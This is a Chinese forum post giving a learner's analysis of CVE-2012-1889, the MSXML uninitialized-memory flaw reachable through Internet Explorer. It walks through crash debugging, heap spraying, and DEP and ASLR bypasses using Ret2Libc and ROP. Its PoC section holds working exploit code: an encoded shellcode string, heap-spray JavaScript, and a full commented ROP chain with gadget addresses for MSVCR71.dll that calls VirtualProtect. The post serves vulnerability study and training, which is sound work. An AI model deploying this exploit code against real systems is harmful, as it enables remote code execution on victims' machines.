个人学习漏洞挖掘时参照看雪之前另一篇对暴雷漏洞的分析写下的漏洞分析报告,相比之前前辈的报告,着重讲述了在XP+IE8和Win7+IE8中过DEP于ASLR的内容,部分与之前RedOrange大佬的帖子内容有重合的部分,因最终篇幅较长楼主就一笔带过,大家可以参考RedOrange大佬的雷暴漏洞分析贴。
http://bbs.pediy.com/thread-215974.htm
新手入行,道行尚浅,如有疏忽错漏之处请各位坛友指点。
Microsoft XML Core Services缓冲区溢出洞
(CVE-2012-1889)
漏洞分析报告
软件名称:Microsoft Internet Explorer
软件版本:6.0\8.0
漏洞模块:msxml3.dll
模块版本:-
编译日期:2008-04-14
操作系统:Windows XP/7
漏洞编号:CVE-2012-1889
危害等级:高危
漏洞类型:缓冲区溢出
威胁类型:远程
分析人:PineCone
2017年7月12日
1. 软件简介
Microsoft XML Core Services(MSXML)是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务。
1. 漏洞成因
Microsoft XML Core Services 3.0~6.0版本中存在漏洞,该漏洞源于访问未初始化内存的位置。远程攻击者可借助特制的web站点利用该漏洞执行任意代码或导致拒绝服务。
2. 利用过程
2.1 WinXP+IE6.0环境
1. 运行收集到的PoC_1(见附件),在Windows XP+IE6的环境下用Windbg附加调试,程序运行至崩溃,中断处如图:
可见导致崩溃的[ecx+18h]中的ecx经过eax来自[ebp-14h]。
推测问题由mov eax,dword ptr[ebp-14h]产生。
2. 运行收集到的PoC_2(见附件),在Windows XP+IE6的环境下用Windbg附加调试,程序运行至崩溃,中断处如图:
可见此时eax中为0x0c0c0c0c,即ebp-14h中为0x0c0c0c0c
推测攻击数据被错误的当成了类对象
3.
结合PoC_1与PoC_2代码可知PoC用作方法调用definition函数,而MSDN中definition作为属性使用,作为属性的成员当作了方法使用因此触发了漏洞。因为PoC_2中提供了将eax变为0x0c0c0c0c的思路,确定可以使用堆喷射技术完成攻击。
4. 制作PoC利用漏洞。
2.2 WinXP+IE8.0环境
微软在IE8.0中使用了DEP保护的技术,我们需要使用精准堆喷射以及Ret2Libc技术来完成攻击,本实验中一些windbg的指令需要mona2插件。
2.2.1 DEP
数据执行保护(Data Execution Prevention,DEP)是微软从Windows XP SP2开始加入的一种非常强悍的安全保护技术,它通过设置内存页的NX/XD标志位,来防止堆控件、栈空间的代码执行。
由于IE 8.0对堆喷射做了一定的限制,采用直接字符串赋值方式会被禁止,因此我们要将堆喷射时的代码做一些修改。
本次使用Ret2Libc技术绕过DEP检测
2.2.2 精准堆喷射
由于绝大多数的x86系统中内存的分页都是4KB大小,假如知道了一个地址距离某个内存页的起始偏移,就可以构建多个完全相同的内存块,并且在偏移位置有关键数据,以此构成精准堆喷射。
每个子数据块分为4部分:Padding,Ret2Libc,Payload,FillData。
Padding为衬垫部分,由大量的滑板指令组成,填充内存页起始到关键数据偏移,使用公式:相对偏移=(目标地址-UserPtr地址)%0x1000/2可得偏移为0x5F6,UserPtr可在windbg中如下图所示指令获得(需要加载符号)。
Ret2Libc为绕过DEP最主要的部分,我们将使用此技术修改0x0C0C0C0C处内存分页的属性为可执行从而让Payload顺利生效,具体详情见2.2.3。
Payload部分略。
FillData为填充数据,由此部分将数据块填充到4KB,具体内容也是大量滑板指令。
根据前辈们的经验可知在XP SP3+IE8环境中,一个内存块大小为0x40000,并且有0x02的块启示与0x21的块结尾,故构造数据块时要在头尾预留出这两部分的大小。
2.2.3Ret2Libc
返回到库函数执行(Return
to
libc,Ret2Libc)是指利用系统自身存在的代码,来调用一些可以关闭DEP的函数,由于整个过程我们使用的全部都是系统自身的代码,因此不存在被DEP阻拦的情况,当我们的代码运行完毕后,DEP即失效,本例使用VirtualProtect函数修改内存页属性通过DEP。
首先我们需要一个可以将栈转移到我们可控内存空间的方法,我们将其称之为StackPivot的小构件(Gadgets),例如XCHG
EAX,ESP指令,因为我们要利用的数据在上一步精准堆喷射被存放在0x0C0C0C0C,而EAX的值也是0x0C0C0C0CXCHG
EAX,ESP后,ESP变为0X0C0C0C0C,即我们自己构筑了栈,后面的事就顺水推舟了。执行本处使用mona查找XCHG
EAX,ESP;RETN,在windbg中输入!py mona find -s "\x94\xc3" -m msvcrt.dll:
使用相同的方法在msvcrt.dll中找到RETN与POP XXX。
RETN: 0x77C17A42
POP EBP:0x77BF398F
因为ECX=[ECX]=EAX=[EAX]=0C0C0C0C我们发现在溢出位置在这次构筑中无法完成攻击:
观察溢出点后发现幸好之后还有另一个可以利用的CALL:
将栈溢出部分的数据由0C0C0C0Ch修改为0C0C0C08h使得EAX与ECX获得不同的值以避免RETN指令将0C0C0C0Ch作为返回地址。
具体构建内容如下:
2.2.4 构筑执行链
VirtualProtect函数原型如下
通过调试获取VirtualProtect地址与lpflOldProtect需要的可写区域
VirtualProtect地址: 0x7C801AD4
lpflOldProtect所需区域:0x77C2EFFC
然后制作执行链
拼接后的完整代码见PoC部分
2.3 Win7+IE8.0环境
在Windows 7操作系统中,又多了一种ASLR保护机制,我们以上一个实验为基础对代码作出修改。
2.3.1 ASLR
地址空间布局随机化(Address
space layout randomization,ASLR)是微软从Windows
Vista开始加入的一种安全保护技术,它通过随机化几乎是所有模块的加载地址,使得预测指定地址或者使用指定地址的代码变成了一件十分困难的事。
不过在很多程序中,总有一些模块没有启用ASLR,我们利用这些模块来通过ASLR。首先输入!py mona mod查看哪些模块没有开始ASLR:
我们发现”MSVCR71.dll”模块未开启ASLR,使用它来作为我们的跳板
2.3.2 ROP
返回导向编程(Return
Oriented
Programming,ROP)是现在被应用于绕过DEP/ASLR的主流技术,其核心原理就是在内存中寻找诸多有意义的指令序列,通过ret将其连接起来构成一个特定的攻击逻辑,因此可以认为Ret2libc是ROP的一个子集。
由于ROP是一连串的RETN构成的,因此直接使用指令操作栈会遇到很大的困难,为了便于控制栈,我们可以利用PUSHAD会依次将EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI压入栈的特性,想办法使用PUSHAD来构建一个稳定的栈结构。
输入!py mona findwild –s “jmp [eax]” –m MSVCR71.dll查找模块中的jmp [eax]
其他指令查找同理。
JMP [EAX] = 0x7C365506
RETN = 0x7C341555
LpflOldProtect = 0x7C38CFFC
Pop edi#retn = 0x7C341123
Pop esi#retn = 0x7C341920
Pop ebp#retn = 0x7C34BB22
Pop ebx#retn = 0x7C343866
Pop edx#retn = 0x7C343EE0
Pop ecx#retn = 0x7C347225
Pop eax#retn = 0x7C3766FF
使用!py mona iat –m MSVCR71获得VirtualProtect地址
VirtualProtect addr = 0x7C37A140
由于找不到pushad#retn组合,因此放宽要求,使用通配符进行搜索(pushad#*#retn),选出合适的指令
Pushad # add al,0ef # retn =0x7C378C81
有了需要的指令,接下来就是构造ROP链了
ROP链的逻辑比较复杂,详细逻辑请参考PoC 3.3部分代码及其注释。
3. PoC
3.1在Windows XP+IE6环境下攻击验证
利用堆喷射技术运行shellcode的Exploit:
CVE 2012-1889 PoC By:PineCone// 1. 准备好Shellcode(unescape()是解码函数)var cShellcode = unescape("\u8360\u20EC\u49EB\u6547\u5074\u6F72\u4163\u6464"+"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579"+"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D"+"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250"+"\u636F\u7365\u0073\u6950\u656E\u6F43\u656E\uE800"+"\u0000\u0000\u645B\u358B\u0030\u0000\u768B\u8B0C"+"\u1C76\u368B\u568B\u5308\uE852\u0014\u0000\uF08B"+"\u4B8D\u52C0\u5251\uD0FF\u535A\u5056\uE852\u006E"+"\u0000\u8B55\u83EC\u0CEC\u8B52\u0855\u728B\u8D3C"+"\u3234\u768B\u8D78\u3234\u7E8B\u8D1C\u3A3C\u7D89"+"\u8BFC\u207E\u3C8D\u893A\uF87D\u7E8B\u8D24\u3A3C"+"\u7D89\u33F4\uEBC0\u4001\u758B\u8BF8\u8634\u558B"+"\u8D08\u3234\u5D8B\u8D0C\uB27B\u0EB9\u0000\uFC00"+"\uA6F3\uE375\u758B\u33F4\u66FF\u3C8B\u8B46\uFC55"+"\u348B\u8BBA\u0855\u048D\u5A32\uE58B\uC25D\u0008"+"\u8B55\u83EC\u08EC\u5D8B\u8D14\uCF4B\u006A\u006A"+"\uFF51\u0C55\u4B8D\u51DA\uFF50\u1055\u4589\u8DFC"+"\uE64B\uFF51\u0875\u55FF\u8910\uF845\u4B8D\u6AF2"+"\u5100\u6A51\uFF00\uFC55\u006A\u55FF\u8BF8\u5DE5"+"\u10C2\u0000");// 2. 制作一块滑板数据// 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)var nSlideSize = 1024*1024 / 2; // 一个滑板指令区的大小(1MB)var nMlcHadSize = 32 / 2; // 堆头部大小var nStrLenSize = 4 / 2; // 堆长度信息大小var nTerminatorSize = 2 / 2; // 堆结尾符号大小var nScSize = cShellcode.length; // Shellcode大小var nFillSize = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;// 2.2 填充滑板指令,制作好一块填充数据var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0Cvar cSlideData = new Array(); // 申请一个数组对象用于保存滑板数据while (cFillData.length
保存为htm并运行,结果如下:
3.2在Windows XP+IE8环境下攻击验证
利用精准堆喷射与Ret2Libc的Exploit:
CVE-2012-1889 By:PineCone// 1. 生成Paddingvar cPadding = unescape("\u0C0C\u0C0C");while (cPadding.length
运行结果如下:
注:此实验有失败几率,连续失败时提高虚拟机内存可显著提高成功率,具体原因推测为系统内存管理机制干扰
3.3在Windows 7+IE8环境下攻击验证
构造ROP链
制作ROP Chainvar cROP_Chain = unescape(// 1. 构造ROP,以绕过DEP// 0x0C0C0C0C | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step1/Step3// 0x0C0C0C10 | 0x7C34BB22 : # POP EBP # RETN [msvcrt.dll] <-ROP Step4 跳过4字节(0x0C0C0C18)// 0x0C0C0C14 | 0x7C348B05 : # XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2// 0x0C0C0C18 | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step5// 0x0C0C0C1C | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step6// 0x0C0C0C20 | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step7// 0x0C0C0C24 | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step0/Step8// "\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]"\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN [msvcrt.dll]"\u8B05\u7C34" + // 0x7C348B05 : # XCHG EAX,ESP # RETN [msvcrt.dll]"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry// ADDR DATA// 0x0C0C0C28 | 0x7C341123 : # POP EDI # RETN <-ROP Step10 (EDI = 0x7C341555, Nop)// 0x0C0C0C2C | 0x7C341555 : > Data: RETN (ROP NOP) // 0x0C0C0C30 | 0x7C341920 : # POP ESI # RETN <-ROP Step11 (ESI = 0x7C365506, 执行API)// 0x0C0C0C34 | 0x7C365506 : > Data: JMP [EAX]// 0x0C0C0C38 | 0x7C34BB22 : # POP EBP # RETN <-ROP Step12 (EBP = 0x7C34BB22, 跳过4字节,下面详细解释)// 0x0C0C0C3C | 0x7C34BB22 : > Data: POP EBP # RETN // 0x0C0C0C40 | 0x7C343866 : # POP EBX # RETN <-ROP Step13 (EBX = 0x00001000, dwSize)// 0x0C0C0C44 | 0x00001000 : > Data: dwSize = 0x1000// 0x0C0C0C48 | 0x7C343EE0 : # POP EDX # RETN <-ROP Step14 (EDX = 0x00000040, NewProtect)// 0x0C0C0C4C | 0x00000040 : > Data: NewProtect = 0x40// 0x0C0C0C50 | 0x7C347225 : # POP ECX # RETN <-ROP Step15 (ECX = 0x7C38CFFC, OldProtect)// 0x0C0C0C54 | 0x7C38CFFC : > Data: &Writable location// 0x0C0C0C58 | 0x7C3766FF : # POP EAX # RETN <-ROP Step16 (EAX = 0x77BE1031, VirtualProtect())// 0x0C0C0C5C | 0x7C37A151 : > Data: VirtualProtect-Byte:0xEF Addr// 0x0C0C0C60 | 0x7C378C81 : # PUSHAD # ADD AL,0EF # RETN <-ROP Step17 (构建新栈)// 0x0C0C0C64 | 0x7C345C30 : # PUSH ESP # RETN// // Note : After Execute [PUSHAD] And [ADD AL,0EF] And [RETN]......// 0x0C0C0C28 | 0x7C341123 : # POP EDI # RETN// 0x0C0C0C2C | 0x7C341555 : # RETN (ROP NOP)// 0x0C0C0C30 | 0x7C341920 : # POP ESI # RETN// 0x0C0C0C34 | 0x7C365506 : # JMP [EAX]// 0x0C0C0C38 | 0x7C34BB22 : # POP EBP # RETN// 0x0C0C0C3C | 0x7C34BB22 : # POP EBP # RETN // 0x0C0C0C40 | 0x7C343866 : # POP EBX # RETN// ------------------------------------------------------------------------------------------------// 0x0C0C0C44 | 0x7C341555 : # RETN (ROP NOP) <-ROP Step18// 0x0C0C0C48 | 0x7C365506 : # JMP [EAX] <-ROP Step19 ( 执行API后返回到0x7C34BB22,并跳过16字节 )// 0x0C0C0C4C | 0x7C34BB22 : # POP EBP # RETN <-ROP Step20 ( 跳过4字节0x0C0C0C60,返回到0x7C345C30 )// 0x0C0C0C50 | 0x0C0C0C64 : # Payload Addr// 0x0C0C0C54 | 0x00001000 : # dwSize = 0x1000// 0x0C0C0C58 | 0x00000040 : # NewProtect = 0x40// 0x0C0C0C5C | 0x7C38CFFC : # &Writable location// 0x0C0C0C60 | 0x7C37A151 : # VirtualProtect Addr// 0x0C0C0C64 | 0x7C345C30 : PUSH ESP # RETN <-ROP Step21 (JMP Payload)//"\u1123\u7C34" + // 0x7C341123 : # POP EDI # RETN"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) "\u1920\u7C34" + // 0x7C341920 : # POP ESI # RETN "\u5506\u7C36" + // 0x7C365506 : # JMP [EAX]"\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN"\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN "\u3866\u7C34" + // 0x7C343866 : # POP EBX # RETN"\u1000\u0000" + // 0x00001000 : # dwSize = 0x1000"\u3EE0\u7C34" + // 0x7C343EE0 : # POP EDX # RETN"\u0040\u0000" + // 0x00000040 : # NewProtect = 0x40"\u7225\u7C34" + // 0x7C347225 : # POP ECX # RETN"\uCFFC\u7C38" + // 0x7C38CFFC : # &Writable location"\u66FF\u7C37" + // 0x7C3766FF : # POP EAX # RETN"\uA151\u7C37" + // 0x7C37A151 : # VirtualProtect Addr"\u8C81\u7C37" + // 0x7C378C81 : # PUSHAD # ADD AL,0EF # RETN"\u5C30\u7C34" );// 0x7C345C30 : # # PUSH ESP # RETN
完整代码请参照附件中PoC
运行结果如下
4. 结语
本漏洞为从Windows
XP到Window8所有版本操作系统共有的远程攻击漏洞,有着危害性大、可持续攻击、攻击难度系数低、攻击范围广的特点,属于高危漏洞,在漏洞的分析过程中,我对漏洞挖掘的初级知识有了更深的认识以及对工具的使用更加熟练,还了解了一些html与javascript的知识,。感谢15PB的任老师与赵老师在本次分析工作中的的悉心指导。
本文由看雪论坛北海松果 原创,转载请注明来自看雪社区
原文出自:http://bbs.pediy.com/thread-219222.htm